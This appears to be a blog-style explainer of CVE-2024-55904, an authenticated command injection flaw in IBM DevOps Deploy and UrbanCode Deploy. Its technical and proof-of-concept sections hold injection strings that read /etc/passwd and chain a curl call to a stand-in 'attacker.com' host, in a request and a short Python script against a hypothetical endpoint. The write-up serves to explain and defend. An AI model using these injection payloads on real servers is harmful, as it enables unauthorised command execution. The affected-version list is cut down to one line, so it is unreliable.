CVE-2024-55904 - Remote Command Execution in IBM DevOps Deploy and UrbanCode Deploy

CVE-2024-55904 is a critical vulnerability affecting several versions of IBM DevOps Deploy and IBM UrbanCode Deploy. This flaw opens the door for remote, authenticated attackers to execute arbitrary commands on the server. Let’s break down what this means, how the exploit works, and what you can do to stay safe.

What is CVE-2024-55904?

CVE-2024-55904 is an authenticated remote command execution vulnerability. Simply put, if an attacker has valid credentials (even low-privileged), they can send specially crafted requests to your IBM Deploy server and make it run any command they want, with the same rights as the server process.

7.3 through 7.3.2.9

If you’re running any of the above, you should patch as soon as possible.

Links and References

- IBM Security Bulletin: CVE-2024-55904
- NVD Entry: CVE-2024-55904

Technical Details

The core problem is improper validation of user input when certain API endpoints or task actions are called. Specifically, user-supplied values are not sanitized for special characters or command-chain operators (like ; or &&). A remote attacker can leverage this to inject and run system commands in the backend context.

The vulnerable code might look something like this (simplified example)

// Java pseudo-code
String userInput = request.getParameter("taskName");
Runtime.getRuntime().exec("task-runner " + userInput);

If userInput is 'backup; cat /etc/passwd', the resulting command could be

task-runner backup; cat /etc/passwd

This would run the backup task and *also* display the password file, to which the attacker now has access.

Example Exploit (Proof of Concept)

Suppose the server exposes a task API at /deploy/api/task/run?name=<taskname>. An attacker with login access could send:

POST /deploy/api/task/run?name=deploy && curl http://attacker.com/whoami
Authorization: Bearer <privileged_token>

In Python, the attack could look like

import requests

url = 'https://deploystation.example.com/deploy/api/task/run';
payload = {
    'name': 'dummyTask; curl http://attacker.com/whoami'
}
h = {
    "Authorization": "Bearer eyJhbGciOi..."
}
r = requests.post(url, data=payload, headers=h, verify=False)
print(r.text)

The attacker's server logs the request and can now see which user ran the command

*Note: This is for educational purposes only. Never test this on systems without explicit permission.*

Official Patch

IBM has released patches.
- See the official advisory for download links.

Closing Thoughts

Even with a modern DevOps platform like IBM Deploy, one overlooked input validation bug can cause massive risk. If you use the affected IBM software, patch now. If you’re responsible for development, always treat user input as hostile, and never pass it straight to the shell!

Timeline

Published on: 02/14/2025 04:15:08 UTC

CVE-2024-55904 - Remote Command Execution in IBM DevOps Deploy and UrbanCode Deploy – Deep Dive, Exploit, and Mitigation